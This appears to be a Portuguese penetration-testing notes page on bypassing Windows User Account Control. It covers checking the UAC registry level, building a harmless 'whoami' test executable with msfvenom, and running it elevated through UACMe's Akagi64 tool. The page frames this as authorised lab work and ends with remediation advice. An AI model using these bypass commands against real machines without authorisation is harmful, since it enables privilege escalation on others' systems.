> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md).

# Bypass de UAC

O Controle de Conta de Usuário limita a elevação automática para ações administrativas. Um bypass do UAC é útil apenas quando o usuário atual já possui um token de administrador filtrado ou o host tem uma configuração fraca de elevação.

## Verifique o nível do UAC

```powershell
(Get-ItemProperty -Path "HKLM:/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System").ConsentPromptBehaviorAdmin
```

Valores comuns:

| Valor | Significado                                |
| ----- | ------------------------------------------ |
| `0`   | Sem prompt do UAC                          |
| `1`   | Elevação silenciosa dependendo do contexto |
| `2`   | Prompt padrão                              |
| `5`   | Comportamento de prompt mais rigoroso      |

<figure><img src="/files/8600c616896e60a8ee59765f43428e91bda2f4dd" alt="UAC registry policy query"><figcaption></figcaption></figure>

<figure><img src="/files/8f95f2ada9e28bca1015594f60035ab1c1f7f447" alt="UAC policy value result" width="563"><figcaption></figcaption></figure>

## Prepare um binário de validação para laboratório

```bash
msfvenom -p windows/exec CMD='cmd /c whoami /all > C:\Windows\Temp\uac-check.txt' -f exe -o uac-check.exe
```

## Execute com UACMe

{% embed url="<https://github.com/hfiref0x/UACME>" %}

```powershell
.\Akagi64.exe 23 C:\Temp\uac-check.exe
Get-Content C:\Windows\Temp\uac-check.txt
```

<figure><img src="/files/5ed8a7a833ac8c6305d02d87976be1d7d69e39f6" alt="UACMe execution in a Windows lab"><figcaption></figcaption></figure>

## Pontos-chave

* Um bypass do UAC não é uma verdadeira elevação a partir de um usuário padrão.
* Confirme o nível do UAC e o contexto do token antes de testar.
* Use primeiro uma ação de validação inofensiva; depois mude para a ação de avaliação delimitada somente quando autorizado.
* Corrija com configurações rígidas do UAC e evitando sessões de administrador expostas.


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